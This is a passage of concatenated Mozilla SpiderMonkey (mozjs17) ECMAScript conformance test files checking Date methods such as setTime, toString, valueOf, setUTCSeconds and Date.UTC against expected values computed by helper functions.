MonthFromTime(LocalTime(t+1)), (new Date(t+1)).getMonth() ); new TestCase( SECTION, "(new Date("+(t-1)+")).getMonth()", MonthFromTime(LocalTime(t-1)), (new Date(t-1)).getMonth() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+")).getMonth()", MonthFromTime(LocalTime(t-TZ_ADJUST)), (new Date(t-TZ_ADJUST)).getMonth() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+")).getMonth()", MonthFromTime(LocalTime(t+TZ_ADJUST)), (new Date(t+TZ_ADJUST)).getMonth() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-15.js0000664000175000017500000001030412106270663020471 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, 0 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.2-1.js0000664000175000017500000000730012106270663020323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.2.js ECMA Section: 15.9.5.2 Date.prototype.toString Description: This function returns a string value. The contents of the string are implementation dependent, but are intended to represent the Date in a convenient, human-readable form in the current time zone. The toString function is not generic; it generates a runtime error if its this value is not a Date object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Date.prototype.toString.length", 0, Date.prototype.toString.length ); var now = new Date(); // can't test the content of the string, but can verify that the string is // parsable by Date.parse new TestCase( SECTION, "Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000", true, Math.abs(Date.parse(now.toString()) - now.valueOf()) < 1000 ); new TestCase( SECTION, "typeof now.toString()", "string", typeof now.toString() ); // 1970 new TestCase( SECTION, "Date.parse( (new Date(0)).toString() )", 0, Date.parse( (new Date(0)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TZ_ADJUST+")).toString() )", TZ_ADJUST, Date.parse( (new Date(TZ_ADJUST)).toString() ) ); // 1900 new TestCase( SECTION, "Date.parse( (new Date("+TIME_1900+")).toString() )", TIME_1900, Date.parse( (new Date(TIME_1900)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TIME_1900 -TZ_ADJUST+")).toString() )", TIME_1900 -TZ_ADJUST, Date.parse( (new Date(TIME_1900 -TZ_ADJUST)).toString() ) ); // 2000 new TestCase( SECTION, "Date.parse( (new Date("+TIME_2000+")).toString() )", TIME_2000, Date.parse( (new Date(TIME_2000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+TIME_2000 -TZ_ADJUST+")).toString() )", TIME_2000 -TZ_ADJUST, Date.parse( (new Date(TIME_2000 -TZ_ADJUST)).toString() ) ); // 29 Feb 2000 new TestCase( SECTION, "Date.parse( (new Date("+UTC_FEB_29_2000+")).toString() )", UTC_FEB_29_2000, Date.parse( (new Date(UTC_FEB_29_2000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_FEB_29_2000-1000)+")).toString() )", UTC_FEB_29_2000-1000, Date.parse( (new Date(UTC_FEB_29_2000-1000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_FEB_29_2000-TZ_ADJUST)+")).toString() )", UTC_FEB_29_2000-TZ_ADJUST, Date.parse( (new Date(UTC_FEB_29_2000-TZ_ADJUST)).toString() ) ); // 2O05 new TestCase( SECTION, "Date.parse( (new Date("+UTC_JAN_1_2005+")).toString() )", UTC_JAN_1_2005, Date.parse( (new Date(UTC_JAN_1_2005)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_JAN_1_2005-1000)+")).toString() )", UTC_JAN_1_2005-1000, Date.parse( (new Date(UTC_JAN_1_2005-1000)).toString() ) ); new TestCase( SECTION, "Date.parse( (new Date("+(UTC_JAN_1_2005-TZ_ADJUST)+")).toString() )", UTC_JAN_1_2005-TZ_ADJUST, Date.parse( (new Date(UTC_JAN_1_2005-TZ_ADJUST)).toString() ) ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.3-1-n.js0000664000175000017500000000256512106270663020567 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.3-1.js ECMA Section: 15.9.5.3-1 Date.prototype.valueOf Description: The valueOf function returns a number, which is this time value. The valueOf function is not generic; it generates a runtime error if its this value is not a Date object. Therefore it cannot be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.3-1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.valueOf"; writeHeaderToLog( SECTION + " "+ TITLE); var OBJ = new MyObject( new Date(0) ); DESCRIPTION = "var OBJ = new MyObject( new Date(0) ); OBJ.valueOf()"; EXPECTED = "error"; new TestCase( SECTION, "var OBJ = new MyObject( new Date(0) ); OBJ.valueOf()", "error", eval("OBJ.valueOf()") ); test(); function MyObject( value ) { this.value = value; this.valueOf = Date.prototype.valueOf; // The following line causes an infinte loop // this.toString = new Function( "return this+\"\";"); return this; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-18.js0000664000175000017500000001032612106270663020500 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, String( TIME_2000 ) ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-8.js0000664000175000017500000000272312106270663020415 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_START_1998 = GetDSTStart(TimeFromYear(1998)); addTestCase( DST_START_1998 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.1.13-1.js0000664000175000017500000000247412106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.1.13-1.js ECMA Section: 15.9.1.1 MakeDate(day, time) Description: The operator MakeDate calculates a number of milliseconds from its two arguments, which must be ECMAScript number values. This operator functions as follows: 1. If day is not finite or time is not finite, return NaN. 2. Compute day * msPerDay + time. 3. Return Result(2). */ new TestCase( SECTION, "MakeDate(Number.POSITIVE_INFINITY, 0)", Number.NaN, MakeDate(Number.POSITIVE_INFINITY, 0)); new TestCase( SECTION, "MakeDate(Number.NEGATIVE_INFINITY, 0)", Number.NaN, MakeDate(Number.NEGATIVE_INFINITY, 0)); new TestCase( SECTION, "MakeDate(0, Number.POSITIVE_INFINITY)", Number.NaN, MakeDate(0, Number.POSITIVE_INFINITY)); new TestCase( SECTION, "MakeDate(0, Number.NEGATIVE_INFINITY)", Number.NaN, MakeDate(0, Number.NEGATIVE_INFINITY)); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-6.js0000664000175000017500000000170112106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_FEB_29_2000 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-1.js0000664000175000017500000001030412106270663020404 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( 0, 0 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.27-1.js0000664000175000017500000001331212106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.27-1.js ECMA Section: 15.9.5.27 Date.prototype.setUTCSeconds(sec [,ms]) Description: If ms is not specified, this behaves as if ms were specified with the value getUTCMilliseconds( ). 1. Let t be this time value. 2. Call ToNumber(sec). 3. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms) 4. Compute MakeTime(HourFromTime(t), MinFromTime(t), Result(2), Result(3)) 5. Compute MakeDate(Day(t), Result(4)). 6. Set the [[Value]] property of the this value to TimeClip(Result(5)). 7. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.27-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCSeconds(sec [,ms] )"); addNewTestCase( 0, 0, 0, "TDATE = new Date(0);(TDATE).setUTCSeconds(0,0);TDATE", UTCDateFromTime(SetUTCSeconds(0,0,0)), LocalDateFromTime(SetUTCSeconds(0,0,0)) ); addNewTestCase( 28800000,59,999, "TDATE = new Date(28800000);(TDATE).setUTCSeconds(59,999);TDATE", UTCDateFromTime(SetUTCSeconds(28800000,59,999)), LocalDateFromTime(SetUTCSeconds(28800000,59,999)) ); addNewTestCase( 28800000,999,999, "TDATE = new Date(28800000);(TDATE).setUTCSeconds(999,999);TDATE", UTCDateFromTime(SetUTCSeconds(28800000,999,999)), LocalDateFromTime(SetUTCSeconds(28800000,999,999)) ); addNewTestCase( 28800000, 999, void 0, "TDATE = new Date(28800000);(TDATE).setUTCSeconds(999);TDATE", UTCDateFromTime(SetUTCSeconds(28800000,999,0)), LocalDateFromTime(SetUTCSeconds(28800000,999,0)) ); addNewTestCase( 28800000, -28800, void 0, "TDATE = new Date(28800000);(TDATE).setUTCSeconds(-28800);TDATE", UTCDateFromTime(SetUTCSeconds(28800000,-28800)), LocalDateFromTime(SetUTCSeconds(28800000,-28800)) ); addNewTestCase( 946684800000, 1234567, void 0, "TDATE = new Date(946684800000);(TDATE).setUTCSeconds(1234567);TDATE", UTCDateFromTime(SetUTCSeconds(946684800000,1234567)), LocalDateFromTime(SetUTCSeconds(946684800000,1234567)) ); addNewTestCase( -2208988800000,59,999, "TDATE = new Date(-2208988800000);(TDATE).setUTCSeconds(59,999);TDATE", UTCDateFromTime(SetUTCSeconds(-2208988800000,59,999)), LocalDateFromTime(SetUTCSeconds(-2208988800000,59,999)) ); test(); function addNewTestCase( startTime, sec, ms, DateString, UTCDate, LocalDate) { DateCase = new Date( startTime ); if ( ms == void 0) { DateCase.setSeconds( sec ); } else { DateCase.setSeconds( sec, ms ); } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCSeconds( t, s, m ) { var TIME = t; var SEC = Number(s); var MS = ( m == void 0 ) ? msFromTime(TIME) : Number( m ); var RESULT4 = MakeTime( HourFromTime( TIME ), MinFromTime( TIME ), SEC, MS ); return ( TimeClip(MakeDate(Day(TIME), RESULT4)) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.4.3.js0000664000175000017500000001052212106270663020165 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var SECTION = "15.9.4.3"; var TITLE = "Date.UTC( year, month, date, hours, minutes, seconds, ms )"; // Dates around 1970 addNewTestCase( Date.UTC( 1970,0,1,0,0,0,0), "Date.UTC( 1970,0,1,0,0,0,0)", utc(1970,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 1969,11,31,23,59,59,999), "Date.UTC( 1969,11,31,23,59,59,999)", utc(1969,11,31,23,59,59,999) ); addNewTestCase( Date.UTC( 1972,1,29,23,59,59,999), "Date.UTC( 1972,1,29,23,59,59,999)", utc(1972,1,29,23,59,59,999) ); addNewTestCase( Date.UTC( 1972,2,1,23,59,59,999), "Date.UTC( 1972,2,1,23,59,59,999)", utc(1972,2,1,23,59,59,999) ); addNewTestCase( Date.UTC( 1968,1,29,23,59,59,999), "Date.UTC( 1968,1,29,23,59,59,999)", utc(1968,1,29,23,59,59,999) ); addNewTestCase( Date.UTC( 1968,2,1,23,59,59,999), "Date.UTC( 1968,2,1,23,59,59,999)", utc(1968,2,1,23,59,59,999) ); addNewTestCase( Date.UTC( 1969,0,1,0,0,0,0), "Date.UTC( 1969,0,1,0,0,0,0)", utc(1969,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 1969,11,31,23,59,59,1000), "Date.UTC( 1969,11,31,23,59,59,1000)", utc(1970,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 1969,Number.NaN,31,23,59,59,999), "Date.UTC( 1969,Number.NaN,31,23,59,59,999)", utc(1969,Number.NaN,31,23,59,59,999) ); // Dates around 2000 addNewTestCase( Date.UTC( 1999,11,31,23,59,59,999), "Date.UTC( 1999,11,31,23,59,59,999)", utc(1999,11,31,23,59,59,999) ); addNewTestCase( Date.UTC( 2000,0,1,0,0,0,0), "Date.UTC( 2000,0,1,0,0,0,0)", utc(2000,0,1,0,0,0,0) ); // Dates around 1900 addNewTestCase( Date.UTC( 1899,11,31,23,59,59,999), "Date.UTC( 1899,11,31,23,59,59,999)", utc(1899,11,31,23,59,59,999) ); addNewTestCase( Date.UTC( 1900,0,1,0,0,0,0), "Date.UTC( 1900,0,1,0,0,0,0)", utc(1900,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 1973,0,1,0,0,0,0), "Date.UTC( 1973,0,1,0,0,0,0)", utc(1973,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 1776,6,4,12,36,13,111), "Date.UTC( 1776,6,4,12,36,13,111)", utc(1776,6,4,12,36,13,111) ); addNewTestCase( Date.UTC( 2525,9,18,15,30,1,123), "Date.UTC( 2525,9,18,15,30,1,123)", utc(2525,9,18,15,30,1,123) ); // Dates around 29 Feb 2000 addNewTestCase( Date.UTC( 2000,1,29,0,0,0,0 ), "Date.UTC( 2000,1,29,0,0,0,0 )", utc(2000,1,29,0,0,0,0) ); addNewTestCase( Date.UTC( 2000,1,29,8,0,0,0 ), "Date.UTC( 2000,1,29,8,0,0,0 )", utc(2000,1,29,8,0,0,0) ); // Dates around 1 Jan 2005 addNewTestCase( Date.UTC( 2005,0,1,0,0,0,0 ), "Date.UTC( 2005,0,1,0,0,0,0 )", utc(2005,0,1,0,0,0,0) ); addNewTestCase( Date.UTC( 2004,11,31,16,0,0,0 ), "Date.UTC( 2004,11,31,16,0,0,0 )", utc(2004,11,31,16,0,0,0) ); test(); function addNewTestCase( DateCase, DateString, ExpectDate) { DateCase = DateCase; new TestCase( SECTION, DateString, ExpectDate.value, DateCase ); new TestCase( SECTION, DateString, ExpectDate.value, DateCase ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; 